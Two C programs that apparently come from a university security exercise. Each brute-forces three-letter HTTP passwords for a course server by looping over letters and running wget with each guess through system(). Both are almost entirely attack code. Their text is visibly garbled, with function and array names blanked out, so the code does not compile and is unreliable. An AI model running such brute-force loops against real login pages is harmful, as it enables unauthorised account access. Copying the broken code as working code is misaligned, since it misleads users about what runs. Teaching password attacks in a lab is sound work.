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#include<stdlib.h>
#include<strings.h>
#include<sys/types.h>
#include<sys/times.h>
#include<sys/time.h>
#include<unistd.h>

int ()
{
  char url[80];
  char syscom[]= "wget -nv --http-user= --http-passwd=";
  char http[] = "http://sec-crack.cs.rmit.edu./SEC/2/";
  char [] ="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";

  char username[8];
  char pass[4];
  int i,j,k,hack=1;
  int attempt = 1;
  int , end, time_var;

   = time();
  for ( i = 0 ;i<strlen();i++)
    {
      pass[0]=[i];
      for( j = 0 ;j<strlen();j++)
        {
          pass[1]=[j];
          for ( k = 0 ;k<strlen();k++)
             {
               fflush(stdin);
               pass[2]=[k];
               pass[3]='\0';
               printf("%s\n",pass);

               sprintf(url,"%s%s %s",syscom,pass,http);
               hack = system(url);
               attempt++;
               if (hack == 0)
               {
                  end = time();
                  time_var = (end-);
                  printf("\nbr	The password is :%s",pass);
                  printf("\nNo. of Attempts   crack the password :%d",attempt);
                  printf("\nTime taken  crack the password = %lld sec\n",time_var/1000000000);
                  exit(1);
                }
              }
          }
      }
 }




#include<stdio.h>
#include<stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/time.h>
#include<string.h>
int ()
{
char a[100],c[100],c1[100],c2[100],m[50];
char b[53]="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";

int i,j,k,count=0;
int  total_time,start_time,end_time;
start_time = time();


for(i=0;i<52;i++)
{
	
	m[0]=b[i];
	m[1]='\0';
	strcpy(c,m);
	printf("%s \n",c);
	for(j=0;j<52;j++)
	{
	m[0]=b[j];
	m[1]='\0';
	strcpy(c1,c);
	strcat(c1,m);
	printf("%s \n",c1);
	for(k=0;k<52;k++)
	{
		count++;
		printf("ATTEMPT :%d\n",count);
		
		m[0]=b[k];
		m[1]='\0';
		strcpy(c2,c1);
		strcat(c2,m);

strcpy(a,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php --http-user= --http-passwd=");

		strcat(a,c2);		
		if(system(a)==0)
		{
		printf("Congratulations!!!!BruteForce Attack Successful\n");
		printf("***********************************************\n");
		printf("The Password is %s\n",c2);
		printf("The Request sent is %s\n",a); 
                end_time = time();
                total_time = (end_time -start_time);
                total_time /= 1000000000.0;
                printf("The Time Taken is : %llds\n",total_time);
		exit(1);
		}
		
		
		
		
	}

}
}
return 0;
}
